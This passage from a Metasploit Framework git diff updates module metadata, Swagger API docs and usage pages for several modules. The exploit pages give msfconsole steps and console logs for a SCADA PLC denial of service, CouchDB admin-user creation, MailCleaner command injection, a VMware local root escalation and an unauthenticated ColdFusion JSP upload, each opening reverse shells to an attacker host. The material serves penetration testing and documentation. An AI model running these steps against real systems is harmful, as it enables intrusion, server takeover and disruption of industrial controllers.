null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_http", @@ -139262,7 +139567,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_https.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_https", @@ -143389,7 +143694,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_http", @@ -143892,7 +144197,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-11-02 11:27:53 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/windows/x64/messagebox.rb", "is_install_path": true, "ref_name": "windows/x64/messagebox", @@ -147018,7 +147323,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 17:38:33 +0000", "path": "/modules/post/multi/escalate/cups_root_file_read.rb", "is_install_path": true, "ref_name": "multi/escalate/cups_root_file_read", @@ -148618,7 +148923,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-09-04 16:46:20 +0000", + "mod_time": "2018-12-25 15:00:39 +0000", "path": "/modules/post/multi/manage/shell_to_meterpreter.rb", "is_install_path": true, "ref_name": "multi/manage/shell_to_meterpreter", diff --git a/documentation/api/v1/auth_api_doc.rb b/documentation/api/v1/auth_api_doc.rb index fb527875e018..ca73bb4e498a 100644 --- a/documentation/api/v1/auth_api_doc.rb +++ b/documentation/api/v1/auth_api_doc.rb @@ -15,26 +15,21 @@ module AuthApiDoc end swagger_path '/api/v1/auth/generate-token' do - # Swagger documentation for /api/v1/auth/generate-token GET - operation :get do + # Swagger documentation for /api/v1/auth/generate-token POST + operation :post do key :description, 'Return a valid Authorization Bearer token.' key :tags, [ 'auth' ] parameter do - key :name, :username - key :in, :query - key :description, 'The username for the user you want to authenticate.' + key :in, :body + key :name, :body + key :description, 'Login credentials for the user who will be generating a token.' key :required, true - key :type, :string - end - - parameter do - key :name, :password - key :in, :query - key :description, 'The password for the user you want to authenticate.' - key :required, true - key :type, :string + schema do + property :username, type: :string, required: true + property :password, type: :string, required: true + end end response 200 do diff --git a/documentation/api/v1/event_api_doc.rb b/documentation/api/v1/event_api_doc.rb index 434bbc745a7e..24d9a648abfa 100644 --- a/documentation/api/v1/event_api_doc.rb +++ b/documentation/api/v1/event_api_doc.rb @@ -10,7 +10,7 @@ module EventApiDoc SEEN_DESC = 'true if a user has acknowledged the event.' USERNAME_DESC = 'Name of the user that triggered the event.' INFO_DESC = 'Information about the event specific to the event name.' - INFO_EXAMPLE = '{:command=>"irb"}' + INFO_EXAMPLE = {command: 'irb'} # Swagger documentation for Event model swagger_schema :Event do @@ -27,6 +27,69 @@ module EventApiDoc end swagger_path '/api/v1/events' do + # Swagger documentation for /api/v1/events GET + operation :get do + key :description, 'Return events that are stored in the database.' + key :tags, [ 'event' ] + + parameter :workspace + + parameter do + key :name, :limit + key :in, :query + key :description, RootApiDoc::LIMIT_DESC + key :example, RootApiDoc::LIMIT_DEFAULT + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :offset + key :in, :query + key :description, RootApiDoc::OFFSET_DESC + key :example, RootApiDoc::OFFSET_DEFAULT + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :order + key :in, :query + key :description, RootApiDoc::ORDER_DESC + key :type, :string + key :required, false + key :enum, RootApiDoc::ORDER_ENUM + end + + response 200 do + key :description, 'Returns event data.' + schema do + property :data do + key :type, :array + items do + key :'$ref', :Event + end + end + end + end + + response 401 do + key :description, RootApiDoc::DEFAULT_RESPONSE_401 + schema do + key :'$ref', :AuthErrorModel + end + end + + response 500 do + key :description, RootApiDoc::DEFAULT_RESPONSE_500 + schema do + key :'$ref', :ErrorModel + end + end + end + # Swagger documentation for /api/v1/events POST operation :post do key :description, 'Create an event.' @@ -71,4 +134,44 @@ module EventApiDoc end end end + + swagger_path '/api/v1/events/{id}' do + # Swagger documentation for /api/v1/events/:id GET + operation :get do + key :description, 'Return a specific event that is stored in the database.' + key :tags, [ 'event' ] + + parameter do + key :name, :id + key :in, :path + key :description, 'ID of event to retrieve.' + key :required, true + key :type, :integer + key :format, :int32 + end + + response 200 do + key :description, 'Returns event data.' + schema do + property :data do + key :'$ref', :Event + end + end + end + + response 401 do + key :description, RootApiDoc::DEFAULT_RESPONSE_401 + schema do + key :'$ref', :AuthErrorModel + end + end + + response 500 do + key :description, RootApiDoc::DEFAULT_RESPONSE_500 + schema do + key :'$ref', :ErrorModel + end + end + end + end end diff --git a/documentation/api/v1/login_api_doc.rb b/documentation/api/v1/login_api_doc.rb index b100e6238332..b28bf6ffffe7 100644 --- a/documentation/api/v1/login_api_doc.rb +++ b/documentation/api/v1/login_api_doc.rb @@ -153,7 +153,7 @@ module LoginApiDoc end swagger_path '/api/v1/logins/{id}' do - # Swagger documentation for api/v1/logins/:id GET + # Swagger documentation for /api/v1/logins/:id GET operation :get do key :description, 'Return specific login that is stored in the database.' key :tags, [ 'login' ] diff --git a/documentation/api/v1/root_api_doc.rb b/documentation/api/v1/root_api_doc.rb index 48b3c858e269..46c3ef33919b 100644 --- a/documentation/api/v1/root_api_doc.rb +++ b/documentation/api/v1/root_api_doc.rb @@ -17,6 +17,15 @@ module RootApiDoc AUTH_CODE_DESC = 'The authentication error code that was generated.' AUTH_CODE_EXAMPLE = 401 AUTH_MESSAGE_DESC = 'A message describing the authentication error that occurred.' + LIMIT_DEFAULT = 100 + LIMIT_DESC = "The maximum number of results that will be retrieved from the query. (Default: #{LIMIT_DEFAULT})" + OFFSET_DEFAULT = 0 + OFFSET_DESC = "The number of results the query will begin reading from the beginning of the set. (Default: #{OFFSET_DEFAULT})" + ORDER_DESC = 'The order in which results are returned, based on the created_at datetime. (Default: desc)' + ORDER_ENUM = [ + 'asc', + 'desc' + ] DEFAULT_RESPONSE_200 = 'Successful operation.' DEFAULT_RESPONSE_401 = 'Authenticate to access this resource.' diff --git a/documentation/api/v1/session_event_api_doc.rb b/documentation/api/v1/session_event_api_doc.rb index c55e3b2ed6ea..2d2eacb99f61 100644 --- a/documentation/api/v1/session_event_api_doc.rb +++ b/documentation/api/v1/session_event_api_doc.rb @@ -32,6 +32,35 @@ module SessionEventApiDoc key :description, 'Return session events that are stored in the database.' key :tags, [ 'session_event' ] + parameter do + key :name, :limit + key :in, :query + key :description, RootApiDoc::LIMIT_DESC + key :example, RootApiDoc::LIMIT_DEFAULT + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :offset + key :in, :query + key :description, RootApiDoc::OFFSET_DESC + key :example, RootApiDoc::OFFSET_DEFAULT + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :order + key :in, :query + key :description, RootApiDoc::ORDER_DESC + key :type, :string + key :required, false + key :enum, RootApiDoc::ORDER_ENUM + end + response 200 do key :description, 'Returns session event data.' schema do @@ -59,7 +88,7 @@ module SessionEventApiDoc end end - # Swagger documentation for /api/v1/session events POST + # Swagger documentation for /api/v1/session-events POST operation :post do key :description, 'Create a session events entry.' key :tags, [ 'session_event' ] @@ -105,15 +134,15 @@ module SessionEventApiDoc end swagger_path '/api/v1/session-events/{id}' do - # Swagger documentation for api/v1/session-events/:id GET + # Swagger documentation for /api/v1/session-events/:id GET operation :get do - key :description, 'Return a specific session_event that is stored in the database.' + key :description, 'Return a specific session event that is stored in the database.' key :tags, [ 'session_event' ] parameter do key :name, :id key :in, :path - key :description, 'ID of session_event to retrieve.' + key :description, 'ID of session event to retrieve.' key :required, true key :type, :integer key :format, :int32 diff --git a/documentation/api/v1/vuln_api_doc.rb b/documentation/api/v1/vuln_api_doc.rb index a71512b2c2bb..d25e6bc81010 100644 --- a/documentation/api/v1/vuln_api_doc.rb +++ b/documentation/api/v1/vuln_api_doc.rb @@ -15,10 +15,9 @@ module VulnApiDoc ORIGIN_ID_DESC = 'ID of the associated origin record.' ORIGIN_TYPE_DESC = 'The origin type of this vuln.' REFS_DESC = 'An array of public reference IDs for this vuln.' - REF_ID_DESC = 'The ID of the related Mdm::ModuleRef or Mdm::VulnRef associated with this vuln.' + REF_ID_DESC = 'The ID of the related Mdm::Ref associated with this vuln.' REF_NAME_DESC = 'Designation for external reference. May include a prefix for the authority, such as \'CVE-\', in which case the rest of the name is the designation assigned by that authority.' REFS_EXAMPLE = ['CVE-2008-4250','OSVDB-49243','MSB-MS08-067'] - MODULE_REF_DETAIL_ID_DESC = 'The ID of the Mdm::Module::Detail record this ModuleRef is associated with.' # Swagger documentation for vulns model swagger_schema :Vuln do @@ -32,24 +31,12 @@ module VulnApiDoc property :vuln_attempt_count, type: :integer, format: :int32, description: VULN_ATTEMPT_COUNT property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC property :origin_type, type: :string, description: ORIGIN_TYPE_DESC - property :vuln_refs do - key :type, :array - items do - key :'$ref', :VulnRef - end - end property :refs do key :type, :array items do key :'$ref', :Ref end end - property :module_refs do - key :type, :array - items do - key :'$ref', :ModuleRef - end - end property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC end @@ -63,21 +50,6 @@ module VulnApiDoc property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC end - swagger_schema :ModuleRef do - key :required, [:name] - property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC - property :detail_id, type: :integer, format: :int32, description: MODULE_REF_DETAIL_ID_DESC - property :name, type: :string, required: true, description: REF_NAME_DESC - end - - swagger_schema :VulnRef do - key :required, [:ref_id, :vuln_id] - property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC - property :ref_id, type: :integer, format: :int32, description: RootApiDoc::CREATED_AT_DESC - property :vuln_id, type: :integer, format: :int32, description: RootApiDoc::UPDATED_AT_DESC - end - - swagger_path '/api/v1/vulns' do # Swagger documentation for /api/v1/vulns GET operation :get do diff --git a/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md b/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md new file mode 100644 index 000000000000..891532d946c5 --- /dev/null +++ b/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md @@ -0,0 +1,36 @@ +## Vulnerable Application + + A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. + MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. + CVE-2017-7924 has been assigned to this vulnerability. + A CVSS v3 base score of 7.5 has been assigned. + +## Verification Steps + + 1. Do: `use auxiliary/dos/scada/allen_bradley_pccc` + 2. Do: `set RHOST=IP` where IP is the IP address of the target + 3. Do: `check` verify if target is vulnerable + 4. Do: `exploit` send DoS packet + +## Options + + 1. PORT: `set RPORT=44818` + +## Scenarios + + ``` +msf > use auxiliary/dos/scada/allen_bradley_pccc +msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194 +RHOST => 172.27.248.194 +msf auxiliary(dos/scada/allen_bradley_pccc) > check + +[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00 +[+] 172.27.248.194:44818 - The target is vulnerable. +msf auxiliary(dos/scada/allen_bradley_pccc) > exploit + +[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666) +[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85) +[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet... +[*] Auxiliary module execution completed +``` + diff --git a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md index 542c64e32210..6a76dc4f9f9d 100644 --- a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md +++ b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md @@ -3,7 +3,7 @@ Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it. The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/): - + 1. `sudo apt install software-properties-common` 2. `sudo add-apt-repository ppa:couchdb/stable` 3. `sudo apt update` @@ -20,54 +20,77 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https ## Options - **serverinfo** + **SERVERINFO** + + If set to `true`, the server info will also enumerated and set in msf's DB. Defaults to `false`. + + **CREATEUSER** - If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false` + If set to `true`, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to `false`. ## Scenarios - A run against the configuration from these docs - - ``` - msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum - msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1 - rhosts => 1.1.1.1 - msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true - verbose => true - msf5 auxiliary(scanner/couchdb/couchdb_enum) > run - - [+] 1.1.1.1:5984 { - "couchdb": "Welcome", - "uuid": "6f08e89795bd845efc6c2bf3d57799e5", - "version": "1.6.1", - "vendor": { - "version": "16.04", - "name": "Ubuntu" - } +Dumping databases with `SERVERINFO` and `CREATEUSER` set: + +``` +msf5 > use auxiliary/scanner/couchdb/couchdb_enum +msf5 auxiliary(scanner/couchdb/couchdb_enum) > options + +Module options (auxiliary/scanner/couchdb/couchdb_enum): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CREATEUSER false yes Create Administrative user + HttpPassword IJvoGDWAWzQo yes CouchDB Password + HttpUsername CQuXQnVwQAow yes CouchDB Username + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + ROLES _admin yes CouchDB Roles + RPORT 5984 yes The target port (TCP) + SERVERINFO false yes Print server info + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /_all_dbs yes Path to list all the databases + VHOST no HTTP server virtual host + +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true +serverinfo => true +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true +createuser => true +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true +verbose => true +msf5 auxiliary(scanner/couchdb/couchdb_enum) > check + +[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0 +[*] 127.0.0.1:5984 - The target appears to be vulnerable. +msf5 auxiliary(scanner/couchdb/couchdb_enum) > run + +[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0 +[+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login. +[+] 127.0.0.1:5984 - { + "couchdb": "Welcome", + "version": "2.1.0", + "features": [ + "scheduler" + ], + "vendor": { + "name": "The Apache Software Foundation" } - [*] #{peer} Enumerating Databases... - [+] 1.1.1.1:5984 Databases: - - [ - "_replicator", - "_users" - ] - - [+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin - - msf5 auxiliary(scanner/couchdb/couchdb_enum) > services - Services - ======== - - host port proto name state info - ---- ---- ----- ---- ----- ---- - 1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK - Server: CouchDB/1.6.1 (Erlang OTP/18) - Date: Sat, 21 Jul 2018 14:54:45 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 127 - Cache-Control: must-revalidate - - {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}} - - ``` +} +[*] 127.0.0.1:5984 - Enumerating Databases... +[+] 127.0.0.1:5984 - Databases: + +[ + "_global_changes", + "_replicator", + "_users" +] + +[+] 127.0.0.1:5984 - File saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb.enum_790231.bin +[+] 127.0.0.1:5984 - _global_changes saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._global__841794.bin +[+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin +[+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/couchdb/couchdb_enum) > +``` diff --git a/documentation/modules/auxiliary/scanner/misc/java_jmx_scanner.md b/documentation/modules/auxiliary/scanner/misc/java_jmx_scanner.md new file mode 100644 index 000000000000..1fcc90c56ab2 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/java_jmx_scanner.md @@ -0,0 +1,59 @@ +The `java_jmx_scanner` module uses the `Msf::Exploit::Remote::Java::Rmi::Client` library to perform a handshake with a Java JMX MBean server. JMX MBean listens in 1099 by default, and is used to manage and monitor Java applications. + +The module returns whether the target is a Java JMX MBeans server and also outputs if the server requires authentication. + +## Vulnerable Application + +While many implementations of JMX are available, the module was successfully tested against an Apache ActiveMQ 5.13.3 server with JMX enabled. For convenience, a docker container (`antonw/activemq-jmx`) supports JMX and can be tweaked to require authentication. + +## Verification Steps + + See [PR#10401](https://github.com/rapid7/metasploit-framework/pull/10401) for general information, and [this specific comment](https://github.com/rapid7/metasploit-framework/pull/10401#issuecomment-448705897) for steps to require JMX authentication in the container. In summary: + +``` +docker run -p 1099:1099 antonw/activemq-jmx +docker exec -u=root -it `docker ps -q` /bin/bash + +# echo -e "monitorRole QED\ncontrolRole R&D" /etc/java-7-openjdk/management/jmxremote.password +# chown activemq /etc/java-7-openjdk/management/jmxremote.password +# chmod 400 /etc/java-7-openjdk/management/jmxremote.password +# sed 's/-Dcom.sun.management.jmxremote.authenticate=false/-Dcom.sun.management.jmxremote.authenticate=true/' /opt/apache-activemq-5.13.3/bin/env + +docker restart `docker ps -q` +``` + +## Options + + **Option name** + + Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios + +### ActiveMQ 5.13.3 + +Against the above-described Docker container, the workflow looks like: + +``` +msf5 auxiliary(scanner/misc/java_jmx_server) > set RHOST 127.0.0.1 +msf5 auxiliary(scanner/misc/java_jmx_server) > set RPORT 1099 +msf5 auxiliary(scanner/misc/java_jmx_server) > run +[*] Reloading module... + +[*] 127.0.0.1:1099 - Sending RMI header... +[*] 127.0.0.1:1099 - localhost:1099 Java JMX MBean authentication required +[*] 127.0.0.1:1099 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +In addition, note that `services` within the data model has been updated: + +``` +msf5 auxiliary(scanner/misc/java_jmx_server) > services +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +127.0.0.1 1099 tcp java-rmi open JMX MBean server accessible +``` diff --git a/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md b/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md index d7044285ffcb..6d74786624ad 100644 --- a/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md +++ b/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md @@ -24,9 +24,9 @@ https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=2862 ## Options -**USERNAME** The username for Cisco Firepower Management console +**USERNAME** The username for Cisco Firepower Management console. -**Password** The password for Cisco Firepower Management cosnole +**PASSWORD** The password for Cisco Firepower Management console. **NEWSSHUSER** The SSH account to create. By default, this is random. diff --git a/documentation/modules/exploit/linux/http/mailcleaner_exec.md b/documentation/modules/exploit/linux/http/mailcleaner_exec.md new file mode 100644 index 000000000000..7c7859521c59 --- /dev/null +++ b/documentation/modules/exploit/linux/http/mailcleaner_exec.md @@ -0,0 +1,85 @@ +## Description + +This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. + +### Vulnerable Application +You can download ISO file from following URL. +[https://www.mailcleaner.org/latest-downloads/](https://www.mailcleaner.org/latest-downloads/) + +At the time of this writing all the passwords of users such as root or admin user was "MCPassw0rd". + +## Verification Steps + +A successful check of the exploit will look like this: + +1. Start `msfconsole` +2. `use use exploit/linux/http/mailcleaner` +3. Set `RHOST` +4. Set `LHOST` +5. Set `USERNAME` +6. Set `PASSWORD` +7. Run `exploit` +8. **Verify** that you are seeing ` Awesome..! Authenticated`. +9. **Verify** that you are getting `meterpreter` session. + +## Scenarios + +``` +msf5 > use exploit/linux/http/mailcleaner_exec +msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 +RHOSTS => 12.0.0.100 +msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin +USERNAME => admin +msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD +PASSWORD => qwe123 +msf5 exploit(linux/http/mailcleaner_exec) > run + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Performing authentication... +[+] Awesome..! Authenticated with admin: +[*] Exploiting command injection flaw +[*] Sending stage (53508 bytes) to 12.0.0.100 +[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.100:44974) at 2018-12-19 17:24:44 +0300 +[*] Sending stage (53508 bytes) to 12.0.0.100 +[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.100:44975) at 2018-12-19 17:24:45 +0300 + +meterpreter > +``` + +You can also use cmd payloads. + +``` +msf5 > use exploit/linux/http/mailcleaner_exec +msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 +RHOSTS => 12.0.0.100 +msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin +USERNAME => admin +msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD +msf5 exploit(linux/http/mailcleaner_exec) > set target 1 +msf5 exploit(linux/http/mailcleaner_exec) > set payload cmd/unix/reverse +payload => cmd/unix/reverse +msf5 exploit(linux/http/mailcleaner_exec) > run + +[*] Started reverse TCP double handler on 12.0.0.1:4444 +[*] Performing authentication... +[+] Awesome..! Authenticated with admin:MCPassw0rd +[*] Exploiting command injection flaw +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo P6zixt2asYXZ29NE; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "P6zixt2asYXZ29NE\r\n" +[*] Matching... +[*] A is input... +[*] Command shell session 2 opened (12.0.0.1:4444 -> 12.0.0.100:53996) at 2018-12-20 12:09:32 +0300 + +id +uid=0(root) gid=1003(mailcleaner) groups=1003(mailcleaner) +``` diff --git a/documentation/modules/exploit/linux/local/vmware_alsa_config.md b/documentation/modules/exploit/linux/local/vmware_alsa_config.md index ed3978f6a872..2f9bad21e394 100644 --- a/documentation/modules/exploit/linux/local/vmware_alsa_config.md +++ b/documentation/modules/exploit/linux/local/vmware_alsa_config.md @@ -1,15 +1,22 @@ ## Description - This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. + This module exploits a vulnerability in VMware Workstation Pro and + Player on Linux which allows users to escalate their privileges by + using an ALSA configuration file to load and execute a shared object + as `root` when launching a virtual machine with an attached sound card. ## Vulnerable Application - VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day. + VMware Workstation Pro and VMware Workstation Player are the industry + standard for running multiple operating systems as virtual machines on + a single PC. Thousands of IT professionals, developers and businesses + use Workstation Pro and Workstation Player to be more agile, more + productive and more secure every day. This module has been tested successfully on: - * VMware Player version 12.5.0 on Debian Linux + * VMware Player version 12.5.0 on Debian Linux 8 Jessie ## Verification Steps @@ -20,7 +27,7 @@ 4. Do: `set SESSION [SESSION]` 5. Do: `check` 6. Do: `run` - 7. You should get a new root session + 7. You should get a new `root` session ## Options @@ -33,31 +40,72 @@ A writable directory file system path. (default: `/tmp`) + **Xdisplay** + + Display exploit will attempt to use (default: `:0`) + ## Scenarios +### Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie) + ``` - msf exploit(vmware_alsa_config) > check + msf5 > use exploit/linux/local/vmware_alsa_config + msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + session => 1 + msf5 exploit(linux/local/vmware_alsa_config) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ... + [*] Writing '/tmp/pSvQHD5S5fh/pSvQHD5S5fh.vmx' (560 bytes) ... + [*] Writing '/tmp/pSvQHD5S5fh/jl7XmpZWdE' (964720 bytes) ... + [*] Writing '/home/user/.asoundrc' (116 bytes) ... + [*] Launching VMware Player... + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57796) at 2018-12-17 02:43:22 -0500 + [+] Deleted /home/user/.asoundrc + [+] Deleted /home/user/Desktop/~/.vmware/preferences + [!] Attempting to delete working directory /tmp/pSvQHD5S5fh + [-] Exploit failed: negative array size (or size too big) - [!] SESSION may not be compatible with this module. - [+] Target version is vulnerable - [+] The target is vulnerable. - msf exploit(vmware_alsa_config) > run + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.208 + OS : Debian 8.8 (Linux 3.16.0-4-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + +### Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie) - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.16.191.181:4444 - [+] Target version is vulnerable + ``` + msf5 > use exploit/linux/local/vmware_alsa_config + msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + session => 1 + msf5 exploit(linux/local/vmware_alsa_config) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ... + [*] Writing '/tmp/5irkXF31Iw/5irkXF31Iw.vmx' (558 bytes) ... + [*] Writing '/tmp/5irkXF31Iw/Rxqj9taEcXol' (964720 bytes) ... + [*] Writing '/home/user/.asoundrc' (116 bytes) ... [*] Launching VMware Player... - [*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400 - [*] Removing /tmp/.baVu7FwzlaIQyp - [*] Removing /home/user/.asoundrc + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57799) at 2018-12-17 02:46:39 -0500 meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo - Computer : 172.16.191.221 + Computer : 172.16.191.208 OS : Debian 8.8 (Linux 3.16.0-4-amd64) Architecture : x64 + BuildTuple : x86_64-linux-musl Meterpreter : x64/linux + meterpreter > ``` diff --git a/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md new file mode 100644 index 000000000000..e84b7d0ca2a1 --- /dev/null +++ b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md @@ -0,0 +1,48 @@ +## Description + +A file upload vulnerability in the CKEditor of Adobe ColdFusion 11 +(Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and +ColdFusion 2018 (July 12 release) allows unauthenticated remote +attackers to upload and execute JSP files through the filemanager +plugin. Tested on Adobe ColdFusion 2018 v2018.0.0.310739. + +## Vulnerable Application + +ColdFusion 11 (Update 14 and earlier), +ColdFusion 2016 (Update 6 and earlier), and +[ColdFusion 2018 (July 12 release)](https://bintray.com/eaps/coldfusion/cf%3Acoldfusion/2018.0.0) + +## Verification Steps + +1. `./msfconsole -q` +2. `use exploit/multi/http/coldfusion_ckeditor_file_upload` +3. `set rhosts ` +4. `set lhost ` +5. `exploit` +6. Get a shell + +## Scenarios + +### Tested on Coldfusion 2018 v2018.0.0.310739 + +``` +msf5 > use exploit/multi/http/coldfusion_ckeditor_file_upload +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > set rhosts 172.22.222.142 +rhosts => 172.22.222.142 +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > set lhost 172.22.222.136 +lhost => 172.22.222.136 +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > exploit + +[*] Started reverse TCP handler on 172.22.222.136:4444 +[*] Uploading the JSP payload at /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/ASMK.jsp... +[+] Upload succeeded! Executing payload... +[*] Command shell session 1 opened 